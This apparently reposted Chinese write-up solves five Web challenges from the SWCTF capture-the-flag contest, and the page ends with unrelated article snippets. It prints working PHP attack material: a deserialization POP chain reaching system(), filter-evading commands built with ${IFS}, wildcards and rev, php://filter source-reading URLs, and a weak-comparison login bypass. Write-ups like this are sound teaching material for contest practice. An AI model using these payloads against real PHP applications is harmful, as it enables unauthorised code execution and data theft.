第三届 SWCTF-Web 部分 WP

news2024/11/19 4:15:17

写在前面

题目主要涉及的是前端 php 内容知识,仅以本篇博客记录自己 Web 出题的奇思妙想。

Copyright © [2024] [Myon⁶]. All rights reserved.

目录

1、HTTP

2、再见了晚星

3、myon123_easy_php

4、baby_P0P

5、LOGIN!!!


1、HTTP

ab0b91af726e4937af37b18660339425.png

首页文件默认就是 index 这种,比如 index.php、index.html

这里题目页面在 index.html,但是查看源码并没有发现什么

尝试访问 index.php,发现被重定向到了 index.html

使用 bp 抓包重发

回显 flag:flag{Y0u_ar2_RiGHT_careful_br0}

670c12447ab9424bb305112f32db552a.png

2、再见了晚星

payload:

get 传入数组绕过,参数名则是使用 . 绕过

?M.Y[]=1

post 传入 

M=1&Y=一百万个字符+swctfmyonsnert

利用回溯绕过 

018013846c004c498c8a2557ffd2cf4a.png

拿到 flag{ThInk_cOnstantly_0f_There_w1ll_be_n0_echO}

3、myon123_easy_php

第一个使用 php://input 写入对应数据(hello Myon!)

96a39f13259645b5a1a1dde406c2b0f1.png

使用 php://filter 读取到 myon.php 的源码

?myon1=php://input&myon2=php://filter/read=convert.base64-encode/resource=myon.php&myon3=1

post 还是写入 hello Myon! 

90e6415762d1418f8a86903674825879.png

反序列化利用

422df5638b2e4b03a5f06309fb49ac2f.png

构造最终 payload:

?myon1=php://input&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

post 还是写入 hello Myon!

4ce7df1d31104dce8c8d59e2b993e193.png

解码得 flag

8d1382dbef1c448b803690711ead3bbe.png

flag{BreAk_tHe_c1rcLe_anD_StAnd!}

4、baby_P0P

d37f2021c5e64ed19ac55bc93c94fbff.png

php 反序列化 pop 链构造勇师傅寒假培训讲过了

这里前端源码就是一个很典型的简单的 pop 链构造:

$n = new nginx();
$a = new apache();
$a->lin=$n;
$i =new iis();
$i->kha=$a;
$t = new tomcat();
$t->drew=$i;
$e = new eva1();
$e->old=$t;

这里主要是对 preg_match 的绕过,过滤掉了一些命令和关键字

我们先尝试执行 ls 命令

注意 payload 需要进行base64编码输出,因为源码存在 base64_decode

exp:

<?php
class apache{
    public $lin;
    public function __toString(){
        $this->lin->check();
        return '';
    }
}
class tomcat{
    public $drew;
    public function __get($name) {
        ($this->drew)();
    }
}
class nginx{
    private $pay='system';
    private $par='ls';
    public function check() {
        if (!preg_match("/(cat|tac|flag)|\/[^\/]*\/|\s+|(\.\.\/)/i", $this->par)) {
            ($this->pay)($this->par);
        } else {
            die("勇师傅察觉到你的参数不对劲");
        }
    }
}
class eva1{
    public $old;
    public $new;
    public function __wakeup() {
        $this->old->new;
    }
}
class iis {
    public $kha="hello myon!";
    public function __invoke(){
        ucwords($this->kha);
    }
}

$n = new nginx();
$a = new apache();
$a->lin=$n;
$i =new iis();
$i->kha=$a;
$t = new tomcat();
$t->drew=$i;
$e = new eva1();
$e->old=$t;
echo base64_encode((serialize($e)));

79123f2542b347b1b478f2e7209d7c39.png

构造 payload:

?snert=Tzo0OiJldmExIjoyOntzOjM6Im9sZCI7Tzo2OiJ0b21jYXQiOjE6e3M6NDoiZHJldyI7TzozOiJpaXMiOjE6e3M6Mzoia2hhIjtPOjY6ImFwYWNoZSI6MTp7czozOiJsaW4iO086NToibmdpbngiOjI6e3M6MTA6IgBuZ2lueABwYXkiO3M6Njoic3lzdGVtIjtzOjEwOiIAbmdpbngAcGFyIjtzOjI6ImxzIjt9fX19czozOiJuZXciO047fQ

回显成功 

faea868079104f63867a43b4e9f37010.png

我们可以在根目录下发现 flag 文件夹和 secret 文件夹,里面还包含了一层文件夹,但是这里过滤掉了连续的/,也就是说我们不能对两层目录直接操作,我们想要读取里面的文件,可以使用分号绕过,先 cd 到某个文件夹下再执行其他命令。

cat 和 tac 被过滤,可以使用 rev 命令反向输出;

空格被过滤,使用 ${IFS} 替换;

flag 被过滤,使用 * 通配符。

因此: 

$par='cd${IFS}/f*;cd${IFS}fllllag;rev${IFS}f*'

生成 payload:

?snert=Tzo0OiJldmExIjoyOntzOjM6Im9sZCI7Tzo2OiJ0b21jYXQiOjE6e3M6NDoiZHJldyI7TzozOiJpaXMiOjE6e3M6Mzoia2hhIjtPOjY6ImFwYWNoZSI6MTp7czozOiJsaW4iO086NToibmdpbngiOjI6e3M6MTA6IgBuZ2lueABwYXkiO3M6Njoic3lzdGVtIjtzOjEwOiIAbmdpbngAcGFyIjtzOjM5OiJjZCR7SUZTfS9mKjtjZCR7SUZTfWZsbGxsYWc7cmV2JHtJRlN9ZioiO319fX1zOjM6Im5ldyI7Tjt9

e59737cf0de94aabb8ea6d4021bf1dc7.png

得到:

==AAAAAAAUHAAAgWAEAABAAAAAgBFsEUBoNi1G8KttUAajozsLeOWHg2I6Mh+/WdAgBABAAAAAAAgAgCwhGcucWYsZGAAAAAAAAAgAAAAAAAAAAJAgAAAAARAAAAPdzw0aPWHyYEAgAAJAAFAQhABsEUFV/3VZ6r7RhNVKVa4oqST6MSA8SkMKYObJLfnrw+DF7OqTfTdCY0Kbc6nx5x/papgYPF3IVcCn2eVZi8gPUM5sEoM0Pw79RSiDDVfCUdyBHaw5yZhxmZAAAAIAAAAQEAAAwT3MMt2j1hMGBAIAQCAQBBDsEU

先取反向,再解 base64 

PK 头,很明显的压缩包文件

27a5f1307c7047a392074ac13b46b8f0.png

之后以同样的方法先确定到密码文件的位置,再读取 secret 文件夹下的密码

$par='cd${IFS}/secret;cd${IFS}p*;rev${IFS}p*'

b7aa6ecd269c438892d85bd9c792ea61.png

密码同样需要取反

you_are_also_good_at_misc

使用密码打开压缩包,即可得到 flag 

b77b741706854bb289165719b8323b30.pngflag{msP6ZuMXpi9InmmrzHN0GpLG6UPnfveBhscnSNJn}

5、LOGIN!!!

基础知识问答,只有 278 是对的

aa557858d5dd4c44a1cc715805c9d3d9.png

全部回答正确,回显了两个路径: ll0g1n.html 和 eeev01.php

afd270a107054e6b95eef2bd40a47071.png

访问 ll0g1n.html,是一个登录框

直接试是不行的,这道题需要先拿到源码才行

4f46ccdbe97644a8a0fba320584a152a.png

但是这里 F12 可以发现另一个路径:he111p.php

d43c009a9cbc454dbf5f2be0fe86c812.png

访问 eeev01.php

这里可以读取变量,我们直接读全局变量 GLOBALS,它是一个包含了全部变量的全局组合数组

构造 payload:

?hack=GLOBALS

42d558b44796405fa4f8261377bb7043.png

得到信息:

const myon3 = String.fromCharCode(64,104,65,118,101,95,102,85,110,95,119,49,84,104,95,74,97,118,97,83,99,114,105,112,116,33)

访问  he111p.php

需要输入 key,但是 key 目前我们还不知道

源码注释里有给 key 是怎么来的:

key = myon3 + (((myon1.toUpperCase()).substring(2, 6) + myon2.substring(7, 11)).toLowerCase()).substring(0, 28)

这个是 js 代码 

425823168d4d4c61a584fe6dbfb8f3fa.png

我们已经有了 myon3,接下来继续找 myon1 和 myon2

这里存在 robots.txt

得到:

username:toor

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 3 = "1"2 4 = "0"',62,5,'Coding_is_Fun|I_Love_JavaScript|const|myon1|myon2'.split('|'),0,{}))

登录界面用户名是 toor,第二行是 js 压缩加密 

f69489c34bfd48f8a23059c52a072583.png

找个在线网站解密

得到:

const myon1 = "I_Love_JavaScript"
const myon2 = "Coding_is_Fun"

10a46a88451b4bfc99f91e3864ca924e.png

将代码整合起来,运行 js 代码输出 key:

const myon1 = "I_Love_JavaScript";
const myon2 = "Coding_is_Fun";
const myon3 = String.fromCharCode(64,104,65,118,101,95,102,85,110,95,119,49,84,104,95,74,97,118,97,83,99,114,105,112,116,33);
key = myon3 + (((myon1.toUpperCase()).substring(2, 6) + myon2.substring(7, 11)).toLowerCase()).substring(0, 28);
console.log(key);

bfaa8a43bbf64f71a0175c7a5a8eab86.png

 得到:

@hAve_fUn_w1Th_JavaScript!loveis_f

回到输入 key 的页面 he111p.php,输入上面的 key

得到一个交换文件的路径,我们直接访问下载

7666e37aa9054a2abbb627c698fc06b2.png

直接看的话不太清晰,我们需要先修复

简单说一下,这种 .swp 文件是在 vim 编辑文件时,文件未正常关闭,就会生成这种交换文件

9850f50d833247fab6c940bb8761eb84.png

使用 vim 命令修复

vim -r @l0g1n_s0urce.swp

e5fa6d5d3487479598e4bed3ed7c1c12.png

回车,得到原文件

这个也就是那个登录框的源码(输出的 flag 我用XXX代替了)

d05d2b72ad624f43a95017e6cb673e63.png

wq 保存退出,得到 @l0g1n_s0urce.php 文件

代码审计:

e35f3c036fb34eff9e401c5cdcf39d1c.png这里的用户名就是 toor,密码是随机生成的 10 位数字,但是这里使用了弱等于,因此可以采用   php 弱类型比较绕过,true == 任何的非0随机数字:返回 true;

这里还有一个条件,user-agent 需要强等于指定的值:

MYON/2.0 (Windows NT 10.0; Win64; x64

使用 bp 抓包重发:

POST /login.php HTTP/1.1
Host: snert.com.cn:20009
Content-Length: 82
User-Agent:MYON/2.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Accept: */*
Origin: http://snert.com.cn:20009
Referer: http://snert.com.cn:20009/ll0g1n.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=f4d46b5b-ac18-4155-a518-81d74da32dcf
Connection: close

{"username":"toor","password":[true,true,true,true,true,true,true,true,true,true]}

8ed61603baf54c1697cec6ed2e9ccc73.png

多发几次,只要这 10 位随机数密码里面没有出现 0 ,就可以成功

0b0fe9d5b58444e1b7c20cde10f2f560.png

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoie215b242X2Jsb2dfY3Nkbl9uZXR9In0.AnXhydUNXKadN - Gr - knp6TXhHhrZhnIh035KXjihzeA

很明显的 JWT 格式,直接解码

1e4c113ff24a42a58ce729b6340f0075.png

得到 flag:flag{myon6_blog_csdn_net}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1614019.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

BTP连接cloud connector中配置的SAP

登录地址 登录之后可以看到我们已经配置成功的后端系统SAP。 从cloud connector中获取location ID ,然后在BTP中配置Destination 选择目标标签页&#xff0c;点击‘新建目标’&#xff0c;如下图&#xff1a; 新建连接 暂时不知道错误原因 创建目标-HTTP  新建目标&…

Leetcode 第 394 场周赛

Leetcode 第 394 场周赛 1. [统计特殊字母的数量 I](https://leetcode.cn/problems/count-the-number-of-special-characters-i/)2. [统计特殊字母的数量 II](https://leetcode.cn/problems/count-the-number-of-special-characters-ii/)3. [使矩阵满足条件的最少操作次数](htt…

大一考核题解

在本篇中&#xff0c;将尽力使用多种解法&#xff0c;来达到一题多练的效果。 1&#xff1a; 1.原题链接&#xff1a; 238. 除自身以外数组的乘积 - 力扣&#xff08;LeetCode&#xff09; 这道题首先一眼肯定想到拿整体的积除以当前元素&#xff0c;将结果作为ans&#xff0c;…

护眼台灯哪个牌子最好?盘点五款目前比较好用的护眼台灯

护眼台灯哪个牌子好&#xff1f;护眼台灯比较好的牌子有书客、雷士、爱德华医生等。这些护眼台灯得益于强大的研发实力&#xff0c;不仅具备基础的照明功能&#xff0c;更在护眼效果上表现卓越。它们能够真正起到保护眼睛的作用&#xff0c;有效缓解眼部疲劳&#xff0c;为阅读…

Unity3D 羊了个羊等游戏工程源码/3D资源 大合集

Unity3D休闲益智游戏工程源码大合集 一、关卡类游戏工程源码二、跑酷类游戏工程源码三、消除合成类游戏工程源码四、棋牌类游戏工程源码五、RPG(角色扮演)类游戏工程源码六、FPS&#xff08;射击&#xff09;类游戏工程源码十、Unity3D工艺仿真六、Unity游戏资源1、Unity3D 吃鸡…

怎样快速打造二级分销小程序

乔拓云是一个专门开发小程序模板的平台&#xff0c;致力于帮助商家快速上线自己的小程序。通过套用乔拓云提供的精美模板&#xff0c;商家无需具备专业的技术背景&#xff0c;也能轻松打造出功能齐全、美观大方的小程序。 在乔拓云的官网&#xff0c;商家可以免费注册账号并登录…

【批量区域识别内容重命名】批量识别图片区域文字并重命名,批量图片部分识别内容重命文件,PDF区域识别提取重命名

我们在工作和生活中经常遇到这样的需求&#xff1a;比如将以下的图片区域识别进行重命名&#xff0c;批量识别后改成以时间和工作内容重命名&#xff0c;便于日后检索&#xff0c;快速查询 首先我们拍摄照片用到的是水印相机&#xff0c;这里的文字呢我们需要加个背景&#xff…

[数字人]唇形驱动,不生成头部动作算法总结

安全验证 - 知乎知乎&#xff0c;中文互联网高质量的问答社区和创作者聚集的原创内容平台&#xff0c;于 2011 年 1 月正式上线&#xff0c;以「让人们更好的分享知识、经验和见解&#xff0c;找到自己的解答」为品牌使命。知乎凭借认真、专业、友善的社区氛围、独特的产品机制…

【数据结构】时间复杂度的例题

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;数据结构 &#x1f337;追光的人&#xff0c;终会万丈光芒 前言&#xff1a; 这篇文章是关于时间复杂度的一些例题&#xff0c;关于时间复杂度和空间复杂度和算法的计算效率的基本知识点我放在…

【题解】NC1 大数加法(高精度加法)

https://editor.csdn.net/md?not_checkout1&spm1015.2103.3001.8066&articleId138048516 class Solution { public:string solve(string s, string t) {// write code herestring ret;int tmp 0; // 进位 本次累加和int i s.size()-1, j t.size()-1;while (i &g…

Token 在 LLM

大语言模型不能理解原始文本,所以需要把原始文本转换成大语言模型可以理解的数字表示形式,经过大模型处理以后,需要将该数字表示形式转换为人可以理解的文本。 原始文本到 token 原始文本转换为token序列的过程通常是在LLM的预处理阶段完成的。 在大型语言模型(LLM)中,tok…

五一营销新趋势:出海品牌如何利用TikTok掀起热潮

数字化时代&#xff0c;TikTok作为当下全球热门的短视频社交平台&#xff0c;以其独特的内容生态和庞大的用户基础&#xff0c;成为出海品牌进行营销的重要阵地。2024年五一国际劳动节即将来临&#xff0c;如何利用TikTok平台进行有效的营销活动&#xff0c;是每个出海品牌都需…

【埋点探针】微信小程序SDK安装

一、下载微信小程序SDK埋点代码 选择Wechat&#xff0c;复制sdk代码 在项目根目录下&#xff0c;创建sdk文件&#xff0c;webfunny.event.js 二、在app.js文件中&#xff0c;引入埋点SDK代码 首先引入sdk代码 require("./webfunny.event.js")引入兼容代码&#x…

TCP传输的粘包问题和各种异常情况

文章目录 粘包问题用分隔符用数字代表长度 TCP传输可能遇到的异常情况进程终止电脑关机正常情况下关机非正常情况关机&#xff08;停电&#xff09;电脑断网 粘包问题 粘包问题其实并不是TCP独有的的问题而是每一个面向字节流都会出现的问题&#xff0c;那么什么是粘包问题呢&…

最近做的一些套利操作

最近做的套利不多&#xff0c;主要是两个品种&#xff1a;全球芯片LOF&#xff0c;标普500LOF&#xff0c;一共盈利1360元。 盈利不多&#xff0c;但是每天我只花了3分钟点几下就赚到了&#xff0c;捡钱就像呼吸一样简单&#xff0c;还要啥自行车&#xff1f; 整理交易记录的…

如何增强Java GCExcel API 的导入和导出性能

前言 GrapeCity Documents for Excel (以下简称GcExcel) 是葡萄城公司的一款服务端表格组件&#xff0c;它提供了一组全面的 API 以编程方式生成 Excel (XLSX) 电子表格文档的功能&#xff0c;支持为多个平台创建、操作、转换和共享与 Microsoft Excel 兼容的电子表格&#xf…

JavaScript —— APIs(三)

一、事件流 &#xff08;一&#xff09;定义 &#xff08;二&#xff09;事件捕获 事件捕获&#xff0c;对话框从大到小弹出&#xff0c;先弹出爷爷&#xff0c;最后弹出儿子 &#xff08;三&#xff09;事件冒泡 冒泡事件&#xff0c;对话框从小到大弹出&#xff0c;先弹出…

【C++】C++11 包装器

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 目录 前言 function包装器 fu…

大模型接口管理和分发系统One API

老苏就职于一家专注于音视频实时交互技术和智能算法的创新企业。公司通过提供全面的 SDK 和解决方案&#xff0c;助力用户轻松实现实时音视频通话和消息传递等功能。尽管公司网站上有详细的文档中心&#xff0c;但在实际开发中&#xff0c;仍面临大量咨询工作。 鉴于此&#x…

单页面首屏优化,打包后大小减少64M,加载速度快了13.6秒

需求背景 从第三方采购的vue2 ElementUI实现的云管平台&#xff0c;乙方说2011年左右就开始有这个项目了&#xff08;那时候有Vue了吗&#xff0c;思考.jpg&#xff09;。十几年的项目&#xff0c;我何德何能可以担此责任。里面的代码经过多人多年迭代可以用惨不忍睹来形容&a…